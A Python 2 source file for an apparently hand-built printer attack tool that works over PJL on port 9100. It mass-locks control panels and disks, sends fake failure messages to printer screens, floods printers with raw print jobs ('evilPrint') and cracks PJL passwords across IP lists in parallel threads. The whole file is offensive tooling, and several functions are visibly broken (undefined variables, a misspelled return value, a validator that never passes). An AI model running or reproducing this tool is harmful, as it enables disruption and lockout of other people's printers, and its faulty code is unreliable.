#!/usr/bin/env python
#custom imports
import pypjlpass
from pypjl import PJLDynamic as PJLcmd
#normal imports
import sys,optparse,re,threading,random,time
import pdb
class generic:
    """
    class of generic functions to be used by all features
    """
    def readFileL(self,fileName):
        """
        open a file and read it in line by line
        fileName = name of file you wish to read as a str
        returns a list of lines 
        """
        try:
            f = open(fileName,'r')
            data = f.readlines()
            f.close()
        except TypeError:
            print "Config File",fileName,"not found"
            sys.exit(-1)
        return data

    def parseIpLst(self,data):
        """
        take as list of ips and strip off un needed info
        data = list of IP address's
        returns a list of Ip's
        """
        ipLst = []
        for line in data:
            ip = line.strip()
            if self.is_valid_ipv4(ip) is not None:
                ipLst.append(ip)
            else:
                continue
        return ipLst

    def is_valid_ipv4(self,ip):
        """
        Validates IPv4 addresses.
        code taken from here
        http://stackoverflow.com/questions/319279/how-to-validate-ip-address-in-python
        returns either ip or None
        """
        #BROKEN
        pattern = re.compile(r"""
            ^
            (?:
              # Dotted variants:
              (?:
                # Decimal 1-255 (no leading 0's)
                [3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2}
              |
                0x0*[0-9a-f]{1,2}  # Hexadecimal 0x0 - 0xFF (possible 
    leading 0's)
              |
                0+[1-3]?[0-7]{0,2} # Octal 0 - 0377 (possible leading 0's)
              )
              (?:                  # Repeat 0-3 times, separated by a dot
                \.
                (?:
                  [3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2}
                |
                  0x0*[0-9a-f]{1,2}
                |
                  0+[1-3]?[0-7]{0,2}
                )
              ){0,3}
            |
              0x0*[0-9a-f]{1,8}    # Hexadecimal notation, 0x0 - 0xffffffff
            |
              0+[0-3]?[0-7]{0,10}  # Octal notation, 0 - 037777777777
            |
              # Decimal notation, 1-4294967295:
              
    429496729[0-5]|42949672[0-8]\d|4294967[01]\d\d|429496[0-6]\d{3}|
              42949[0-5]\d{4}|4294[0-8]\d{5}|429[0-3]\d{6}|42[0-8]\d{7}|
              4[01]\d{8}|[1-3]\d{0,9}|[4-9]\d{0,8}
            )
            $
        """, re.X|re.I)
        return pattern.match(ip)
    
    def valid_pjl_support(self,ipList):
        """
        See if we can send PJL commands and get responces back
        Checks to see if we can get model number
        ipList = list of ipv4 addresses
        returns list of Ips that responded
        """
        #default printer port
        port = 9100
        #empty list of supported Ip's
        supportedIp = [] 
        for ip in ipList:
            if PJLcmd().getModel(ip,port) is not False:
                supportedIp.append(ip)
        return supportedIP

    def getTargets(self,filename):
        """
        get printer targets for a given job
        filename = filename of IP address provided by user
        returns a list of Ip addresses
        """
        data = self.readFileL(filename)
        pdata = parseIpLst(data)
        return valid_pjl_support(pdata)
    
    def is_valid_pjlPass(self,pjlPass):
        """
        determin if a PJL password is valid
        pjlPass = password to test as a string
        """
        try:
            if int(pjlPass) not in range(0,65535):return False
        except Exception:
            return False
    
    def genParse(self,file,pflag):
        """
        A generic parsing engine for user config files
        file = filename of file to parse
        pflag = parser to use...
        returns a dict if error or no parsable data returns False
        """
        ####
        #should call valid_pjl_support before we return the IP
        ####

        dataList = self.readFileL(file)
        lstdataList = []
        rtrnDict = {}
        for line in dataList:
            #check to see if line is commented out)
            if line.strip() == '':continue
            if line[0] == '#':continue 
            lstdataList.append(line.strip().split(','))
        if pflag in ["dsklock","cntllock"]:
            for line in lstdataList:
                #ip scanner is broken
                #if self.is_valid_ipv4(line[0]) is None:
                #   print line, "is invalid, Problem with IP"
                #   continue
                if self.is_valid_pjlPass(line[1]) is False:
                    print line, "is invalid, Problem with PJL Password"
                    continue
                if line[2].lower() not in ['lock','unlock']:
                    print line, "is invalid, Problm with command"
                    continue
                rtrnDict[line[0]] = {'ip':line[0],
                    'passwd':line[1],
                    'command':line[2].lower(),
                    'type':pflag}
        elif pflag is "message":
            for line in lstdataList:
                #ip scanner is broken
                #if self.is_valid_ipv4(line[0]) is None:
                #   print line, "is invalid, Problem with IP"
                #   continue
                if line[2].lower() not in ["fail","ready"]:
                    print line, "is invalid, Problem with command"
                    continue
                rtrnDict[line[0]] = {'ip':line[0],
                    'message':line[1],
                    'command':line[2],
                    'type':'message'}
        elif pflag is "ip":
            for line in lstdataList:
                #if self.is_valid_ipv4(line[0]) is None:
                #   print line, "is invalid, Problem with IP"
                #   continue
                rtrnDict[line[0]] = {'ip':line[0],'type':'ip'}
        if rtrnDict == {}:
            return False
        else:
            return rtrnDict

class threaded_attacks(threading.Thread):
    """
    class to group all of various attacks togeather
    These are written to be threaded
    """
    #read vars from a dict? for each funciton so they can all be called with same number of args?
    def __init__(self,varsDict,function,scanEngine):
        """
        make the varsDict referneced by self
        """
        threading.Thread.__init__(self)
        self.varsDict = varsDict
        self.function = getattr(self,function)
        self.scanEngine = scanEngine

    def cntllock(self):
        """
        Lock or Unlock the control pannel of multiple devices
        varsDict = is a dict containing the following vars
        passwd = PJL password,should be provided as an str
        ip = IP address of printer as str
        port = port of printer as int
        command = either ON or OFF
        """
        pjlPass = self.varsDict['passwd']
        state = self.varsDict['command']
        ip = self.varsDict['ip']
        if self.varsDict['command'] == 'lock':
            state = "ON"
        elif self.varsDict['command'] == 'unlock':
            state = "OFF"
        ip = self.varsDict['ip']
        port = self.varsDict['port']
        if generic().is_valid_pjlPass(pjlPass) == False:
            print pjlPass,"provided for",ip,"is not valid PJL password"
            return #should call the finish function
        if PJLcmd().cpInq(ip,port) == state:
            print "Cannot turn lock",state,"for",ip,"it is allready",state
            return #should call the finish function
        PJLcmd().cplock(ip,port,state,pjlPass)
        if PJLcmd().cpInq(ip,port) == state:
            print "Control pannel lock is now",state,"for",ip
            #should write out state of lock for given ip
            return #should call the finish function

    def dsklock(self):
        """
        Lock into read write mode 
        """
        pjlPass = self.varsDict['passwd']
        ip = self.varsDict['ip']
        if self.varsDict['command'] not in ['lock','unlock']:
            print "invalid command, use either lock or unlock"
            return #should call the finish function
        if self.varsDict['command'] == 'lock':
            state = "ON"
        elif self.varsDict['command'] == 'unlock':
            state = "OFF"
        ip = self.varsDict['ip']
        port = self.varsDict['port']
        if generic().is_valid_pjlPass(pjlPass) == False:
            print pjlPass,"provided for",ip,"is not valid PJL password"
            return #should call the finish function
        if PJLcmd().dskInq(ip,port) == state:
            print "Cannot turn lock",state,"for",ip,"it is allready",state
            return #should call the finish function
        PJLcmd().dskLock(ip,port,state,pjlPass)
        if PJLcmd().dskInq(ip,port) == state:
            print "Disk lock is now",state,"for",ip
            #should write out state of lock for given ip
            return #should call the finish function

    def evilPrint(self):
        """
        Mass print a basic txt file to ALL printers
        Function will attempt to send data to port 9100 on all devices
        """
        rawData = self.varsDict['rawdata']
        ip = self.varsDict['ip']
        if PJLcmd().rawPrint(rawdata,self.ip,self.port) is not False:
            print "Printed data to",self.ip
            return #call end function
        else:
            print "Cant print to",self.ip
            return #call end function
    
    def message(self):
        """
        Mass update the lcd screen of All printers with either
        a Ready message or Fail message
        """
        ip = self.varsDict['ip']
        port = self.varsDict['port']
        message = self.varsDict['message']
        command = self.varsDict['command']
        if command == 'fail':
            PJLcmd().failmessage(message,ip,port)
            print "Fail message",message,"Sent to",ip
        elif command == "ready":
            PJLcmd().rdymessage(message,ip,port)
            print "Ready message",message,"Sent to",ip
        else: 
            print "Command not found, must be fail or ready, skipping"
            return


    def run(self):
        """
        generic run handler
        funciton 
        """
        try:
            if self.scanEngine.running.is_set():
                self.function()
        except KeyboardInterrupt:
            self.scanEngine.cancel()
        self.scanEngine.finish(self)

class non_threaded_attacks:
    """
    a class to hold attacks that dont need the thread engine
    the cracker has its own importable class that is threaded
    """
    @staticmethod
    def cracker(ipList):
        """
        crack the PJL password on a given list of printers 
        PJL Password which is needed for diskLock and cpLock
        ipList = list of ip addresses to try to crack the pjl password on
        returns a dict with ip as key and PJL password as value
        """
        return pypjlpass.Collector(ipList).main()

class ThreadEngine:
    """
    class with all the controlls to do threaded scanning
    """
    def __init__(self,printers,function):
        """
        printers = list of IP's
        """
        #needs to split the printers var which is really the parsed datas var up into the various parts
        #printers should be a list of ips
        self.printers = printers
        self.running  = threading.Event()
        self.safety   = threading.RLock()
        self.data     = {} #store found info here
        self.threads  = {} #store list of all thread objects
        #default printer port
        self.port     = 9100 
        self.function = function #function from to thread from attacks()

#    def record(self,ip,data):
#        """
#        record the data found by the scanner
#        ip = ip address of the printer scanned
#        data = data returned by the scanner
#        """
#        with self.safety:
#            self.data[ip] = data

    def cancel(self):
        """
        Clear the event flag that every thread checks
        With out this set the threads will exit on next check
        """
        print "Terminating..."
        self.running.clear()

    def finish(self, thread):
        """
        Remove the reference to the thread from list
        Of all running threads
        thread = ?
        """
        with self.safety:
            del self.threads[thread.varsDict['ip']]
            self.rthreads.remove(thread.varsDict['ip'])
    
    def total_thread_count(self):
        """
        count of all total threads to be run
        returns count as int
        """
        nthreads = 0
        with self.safety:
            nthreads = len(self.threads.keys())
        return nthreads
    
    def running_thread_count(self):
        """
        count of all current running threads
        returns count as int
        """
        nthreads = 0
        with self.safety:
            nthreads = len(self.rthreads)
        return nthreads

    def assign_work(self):
        with self.safety:
            for ip in self.threads.keys():
                if ip in self.rthreads:
                    continue
                else:
                    self.rthreads.append(ip)
                    self.threads[ip].start()
                #atempt to keep around 30 threads running
                if self.running_thread_count() <= self.MaxJobCount or self.running_thread_count() > self.MaxJobCount:
                    return
            #at this point there should be less then 30 peices of
            #work left to do in self.threads
            if self.total_thread_count() < self.MaxJobCount:
                return

    def main(self):
        """
        Makes the magic happen
        Decides how much work there is then que's up 
        and tracks the threads to do it
        """
        try:
            #set running event flag then que up 30 threads.
            self.running.set()
            #list of ips of running threads
            self.rthreads = []
            #set current max jobs
            self.MaxJobCount = 30
            #que up a list of all devices to run jobs on
            for ip in self.printers:
                ip = ip.strip() #strip off newline
                varsdict = self.printers[ip]
                varsdict['port'] = self.port
                #the type keyword is the function to call in the thread
                self.threads[ip] = threaded_attacks(varsdict,self.printers[ip]['type'],self)
                #start up 30 threads
                if self.running_thread_count() <= 30:
                    self.rthreads.append(ip)
                    self.threads[ip].start()

            while self.running.is_set() and self.total_thread_count() >0:
                if self.running_thread_count() <= self.MaxJobCount:
                    self.assign_work()
                time.sleep(1)
        except KeyboardInterrupt:
            #if catch of Ctrl-c signal all threads to stop
            #
            self.cancel()
        #Wait for threads to stop but not more then 30sec
        timeout = 30
        while timeout > 0 and self.running_thread_count() > 0:
                time.sleep(1)
                timeout -= 1
        return self.data

if __name__ == "__main__":
    parser = optparse.OptionParser("usage: %prog options -h -p -d -i -s -c")
    parser.add_option("-p", "--pannelLock", dest="plock",
        default=None, action="store_true", help="Toggle Control pannel lock")
    parser.add_option("-d", "--diskLock", dest="dlock", 
        default=None, action="store_true", help="Toggle Disk Lock")
    parser.add_option("-m", "--message", dest="msg",
        default=None, action="store_true", 
        help="Toggle Mass message change from config file")
    parser.add_option("-i", "--iplist", dest="iplist", nargs=1, 
        default=None, help="Ip List Config File")
    parser.add_option("-c", "--crack", dest="crack", 
        default=None, action="store_true", help="Crack PJL Password")
    if len(sys.argv) <= 1:
        parser.print_help()
        sys.exit(0)
    (options, args) = parser.parse_args()
    
    if options.plock is True:
        if options.dlock or options.crack or options.msg is True:
            print "You cant use -p with -d or -c or -m"
            parser.print_help()
            sys.exit(0)
    
    if options.dlock is True:
        if options.plock or options.crack or options.msg is True:
            print "You cant use -d with -p or -c or -m"
            parser.print_help()
            sys.exit(0)

    if options.crack is True:
        if options.dlock or options.plock or options.msg is True:
            print "You cant use -c with -d or -c or -m"
            parser.print_help()
            sys.exit(0)

    if options.msg is True:
        if options.dlock or options.plock or options.crack is True:
            print "You cant use -m with -d or -c or -p"
            parser,print_help()
            sys.exit(0)

    if options.plock is True:
        #call parser
        parsedData = generic().genParse(options.iplist,"cntllock")
        #call threaded attack
        cpLock = ThreadEngine(parsedData,threaded_attacks.cntllock)
        cpLock.main()
    
    if options.dlock is True:
        #call parser
        parsedData = generic().genParse(options.iplist,"dsklock")
        if parsedData is False:
            print "NO parseable data"
            sys.exit(0)
        dLock = ThreadEngine(parsedData,threaded_attacks.dsklock)
        dLock.main()
    
    if options.msg is True:
        #call parser
        parsedData = generic().genParse(options.iplist,"message")
        if parsedData is False:
            print "No parseable data"
            sys.exit(0)
        msg = ThreadEngine(parsedData,threaded_attacks.message)
        msg.main()

    if options.crack is True:
        #call parser
        parsedData = generic().genParse(options.iplist,"ip")
        #call the outsided threaded module
        if parsedData is False:
            print "No parseable data"
            sys.exit(0)
        cracker = non_threaded_attacks.cracker(parsedData.keys())
